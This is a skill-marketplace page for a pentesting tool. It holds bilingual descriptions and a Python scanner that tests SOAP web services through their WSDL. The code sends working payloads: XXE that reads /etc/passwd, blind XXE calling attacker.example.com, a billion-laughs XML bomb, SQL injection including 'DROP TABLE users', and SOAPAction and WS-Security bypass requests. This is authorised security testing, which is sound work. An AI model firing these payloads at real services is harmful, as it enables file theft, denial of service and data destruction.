Analyzes WSDL definitions to test SOAP web services for XML injection, XXE, WS-Security bypass, and SOAPAction spoofing vulnerabilities.
npx claudepluginhub killvxk/cybersecurity-skills-zhThis skill uses the workspace's default tool permissions.
SOAP(简单对象访问协议,Simple Object Access Protocol)Web 服务在企业环境、金融系统、医疗健康和政务集成中仍广泛部署。SOAP 服务的安全测试包括:分析 WSDL(Web 服务描述语言)定义以了解可用方法、测试基于 XML 的注入攻击(XXE、XPath 注入、XML 炸弹)、评估 WS-Security 实施正确性、SOAPAction 头欺骗,以及评估认证和授权控制。与 REST API 不同,SOAP 服务使用 XML 信封,并且通常实施可能被错误配置的复杂安全标准。
Performs security testing on SOAP web services by analyzing WSDL definitions and testing for XML injection, XXE, WS-Security bypass, and SOAPAction spoofing.
Performs security testing of SOAP web services: analyzes WSDL, tests XML injection, XXE, WS-Security bypass, and SOAPAction spoofing.
Tests web apps for XML injection vulnerabilities including XXE (file read, blind, SSRF), XPath injection, and entity attacks to detect data leaks. For pentesting XML endpoints like SOAP APIs and file uploads.
Share bugs, ideas, or general feedback.
SOAP(简单对象访问协议,Simple Object Access Protocol)Web 服务在企业环境、金融系统、医疗健康和政务集成中仍广泛部署。SOAP 服务的安全测试包括:分析 WSDL(Web 服务描述语言)定义以了解可用方法、测试基于 XML 的注入攻击(XXE、XPath 注入、XML 炸弹)、评估 WS-Security 实施正确性、SOAPAction 头欺骗,以及评估认证和授权控制。与 REST API 不同,SOAP 服务使用 XML 信封,并且通常实施可能被错误配置的复杂安全标准。
#!/usr/bin/env python3
"""SOAP Web 服务安全测试工具
分析 WSDL 定义并测试 SOAP 端点中的
常见漏洞,包括 XXE、注入和 WS-Security 错误配置。
"""
import requests
import xml.etree.ElementTree as ET
from lxml import etree
import sys
import re
from typing import List, Dict, Optional
from dataclasses import dataclass
@dataclass
class SOAPOperation:
name: str
action: str
input_message: str
output_message: str
parameters: List[Dict]
class SOAPSecurityTester:
NAMESPACES = {
'wsdl': 'http://schemas.xmlsoap.org/wsdl/',
'soap': 'http://schemas.xmlsoap.org/wsdl/soap/',
'soap12': 'http://schemas.xmlsoap.org/wsdl/soap12/',
'xsd': 'http://www.w3.org/2001/XMLSchema',
'wsse': 'http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd',
}
def __init__(self, wsdl_url: str, endpoint_url: Optional[str] = None):
self.wsdl_url = wsdl_url
self.endpoint_url = endpoint_url
self.operations: List[SOAPOperation] = []
self.findings: List[dict] = []
def parse_wsdl(self) -> List[SOAPOperation]:
"""解析 WSDL 以提取可用操作和参数。"""
response = requests.get(self.wsdl_url, timeout=30)
root = etree.fromstring(response.content)
# 如果未提供端点 URL,则提取
if not self.endpoint_url:
address = root.find('.//soap:address', self.NAMESPACES)
if address is not None:
self.endpoint_url = address.get('location')
# 提取操作
for binding_op in root.findall('.//wsdl:binding/wsdl:operation', self.NAMESPACES):
name = binding_op.get('name')
soap_op = binding_op.find('soap:operation', self.NAMESPACES)
action = soap_op.get('soapAction', '') if soap_op is not None else ''
operation = SOAPOperation(
name=name,
action=action,
input_message="",
output_message="",
parameters=[]
)
self.operations.append(operation)
print(f"[+] 找到 {len(self.operations)} 个 SOAP 操作")
for op in self.operations:
print(f" - {op.name} (SOAPAction: {op.action})")
return self.operations
def test_xxe_vulnerability(self, operation: SOAPOperation) -> dict:
"""测试 XML 外部实体(XXE)注入。"""
xxe_payloads = [
# 经典 XXE - 文件读取
{
"name": "经典 XXE(文件读取)",
"payload": '''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<{operation}>&xxe;</{operation}>
</soapenv:Body>
</soapenv:Envelope>'''.format(operation=operation.name)
},
# 盲 XXE - 带外
{
"name": "盲 XXE(OOB 带外)",
"payload": '''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker.example.com/xxe.dtd">
%xxe;
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<{operation}>test</{operation}>
</soapenv:Body>
</soapenv:Envelope>'''.format(operation=operation.name)
},
# XML 炸弹(十亿笑声)
{
"name": "XML 炸弹(十亿笑声)",
"payload": '''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<{operation}>&lol4;</{operation}>
</soapenv:Body>
</soapenv:Envelope>'''.format(operation=operation.name)
}
]
results = []
for xxe in xxe_payloads:
try:
response = requests.post(
self.endpoint_url,
data=xxe["payload"],
headers={
"Content-Type": "text/xml; charset=utf-8",
"SOAPAction": operation.action,
},
timeout=10
)
vulnerable = False
indicators = []
if "root:" in response.text or "/bin/" in response.text:
vulnerable = True
indicators.append("响应中包含文件内容")
if response.status_code == 200 and "Fault" not in response.text:
indicators.append("未返回 XML 解析错误")
if response.elapsed.total_seconds() > 5:
indicators.append("响应缓慢(可能是 XML 炸弹)")
vulnerable = True
result = {
"test": xxe["name"],
"vulnerable": vulnerable,
"status_code": response.status_code,
"response_time": response.elapsed.total_seconds(),
"indicators": indicators
}
results.append(result)
if vulnerable:
self.findings.append({
"severity": "CRITICAL",
"type": "XXE",
"operation": operation.name,
"details": xxe["name"]
})
except requests.exceptions.Timeout:
results.append({
"test": xxe["name"],
"vulnerable": True,
"indicators": ["请求超时 - 可能通过 XML 炸弹造成 DoS"]
})
return {"operation": operation.name, "xxe_results": results}
def test_sql_injection(self, operation: SOAPOperation) -> dict:
"""测试 SOAP 参数中的 SQL 注入。"""
sqli_payloads = [
"' OR '1'='1",
"1; DROP TABLE users--",
"1' UNION SELECT NULL,NULL,NULL--",
"' OR 1=1; WAITFOR DELAY '0:0:5'--",
"admin'/*",
]
results = []
for payload in sqli_payloads:
soap_body = f'''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<{operation.name}>
<param>{payload}</param>
</{operation.name}>
</soapenv:Body>
</soapenv:Envelope>'''
try:
response = requests.post(
self.endpoint_url,
data=soap_body,
headers={
"Content-Type": "text/xml; charset=utf-8",
"SOAPAction": operation.action,
},
timeout=15
)
sql_errors = [
"SQL syntax", "ORA-", "mysql_", "SQLSTATE",
"Microsoft OLE DB", "Unclosed quotation mark",
"syntax error", "PostgreSQL"
]
error_found = any(err in response.text for err in sql_errors)
if error_found:
self.findings.append({
"severity": "CRITICAL",
"type": "SQL Injection",
"operation": operation.name,
"details": f"SQL 错误由以下内容触发:{payload[:30]}..."
})
results.append({
"payload": payload,
"status_code": response.status_code,
"sql_error_detected": error_found,
"response_time": response.elapsed.total_seconds()
})
except requests.exceptions.RequestException:
continue
return {"operation": operation.name, "sqli_results": results}
def test_soapaction_spoofing(self) -> dict:
"""测试 SOAPAction 头欺骗漏洞。"""
results = []
for i, operation in enumerate(self.operations):
for j, other_op in enumerate(self.operations):
if i == j:
continue
# 发送带不匹配 SOAPAction 的请求
soap_body = f'''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<{operation.name}>
<param>test</param>
</{operation.name}>
</soapenv:Body>
</soapenv:Envelope>'''
try:
response = requests.post(
self.endpoint_url,
data=soap_body,
headers={
"Content-Type": "text/xml; charset=utf-8",
"SOAPAction": other_op.action, # 错误的 action
},
timeout=10
)
if response.status_code == 200 and "Fault" not in response.text:
self.findings.append({
"severity": "HIGH",
"type": "SOAPAction Spoofing",
"operation": operation.name,
"details": f"使用 {other_op.name} 的 SOAPAction 被接受"
})
results.append({
"body_operation": operation.name,
"spoofed_action": other_op.action,
"accepted": True
})
except requests.exceptions.RequestException:
continue
return {"spoofing_results": results}
def test_ws_security_bypass(self) -> dict:
"""测试 WS-Security 令牌处理。"""
test_cases = [
{
"name": "缺少 WS-Security 头",
"header": ""
},
{
"name": "空安全令牌",
"header": '''<wsse:Security xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd">
<wsse:UsernameToken>
<wsse:Username></wsse:Username>
<wsse:Password></wsse:Password>
</wsse:UsernameToken>
</wsse:Security>'''
},
{
"name": "已过期时间戳",
"header": '''<wsse:Security xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd"
xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd">
<wsu:Timestamp>
<wsu:Created>2020-01-01T00:00:00Z</wsu:Created>
<wsu:Expires>2020-01-01T00:05:00Z</wsu:Expires>
</wsu:Timestamp>
</wsse:Security>'''
}
]
results = []
for test in test_cases:
if self.operations:
operation = self.operations[0]
soap_body = f'''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
{test["header"]}
</soapenv:Header>
<soapenv:Body>
<{operation.name}><param>test</param></{operation.name}>
</soapenv:Body>
</soapenv:Envelope>'''
try:
response = requests.post(
self.endpoint_url,
data=soap_body,
headers={"Content-Type": "text/xml; charset=utf-8"},
timeout=10
)
accepted = response.status_code == 200 and "Fault" not in response.text
if accepted:
self.findings.append({
"severity": "CRITICAL",
"type": "WS-Security Bypass",
"operation": operation.name,
"details": test["name"]
})
results.append({
"test": test["name"],
"accepted": accepted,
"status_code": response.status_code
})
except requests.exceptions.RequestException:
continue
return {"ws_security_results": results}
def generate_report(self) -> dict:
"""生成综合安全评估报告。"""
return {
"target": self.endpoint_url,
"wsdl": self.wsdl_url,
"operations_tested": len(self.operations),
"total_findings": len(self.findings),
"critical": len([f for f in self.findings if f["severity"] == "CRITICAL"]),
"high": len([f for f in self.findings if f["severity"] == "HIGH"]),
"findings": self.findings
}
def main():
wsdl_url = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8080/ws?wsdl"
tester = SOAPSecurityTester(wsdl_url)
print(f"[*] 解析 WSDL:{wsdl_url}")
operations = tester.parse_wsdl()
for op in operations:
print(f"\n[*] 测试操作:{op.name}")
tester.test_xxe_vulnerability(op)
tester.test_sql_injection(op)
tester.test_soapaction_spoofing()
tester.test_ws_security_bypass()
report = tester.generate_report()
print(f"\n{'='*60}")
print(f"SOAP 安全评估报告")
print(f"{'='*60}")
print(f"目标:{report['target']}")
print(f"已测试操作:{report['operations_tested']}")
print(f"发现:{report['total_findings']} "
f"(严重:{report['critical']},高危:{report['high']})")
for finding in report['findings']:
print(f"\n [{finding['severity']}] {finding['type']}")
print(f" 操作:{finding['operation']}")
print(f" 详情:{finding['details']}")
if __name__ == "__main__":
main()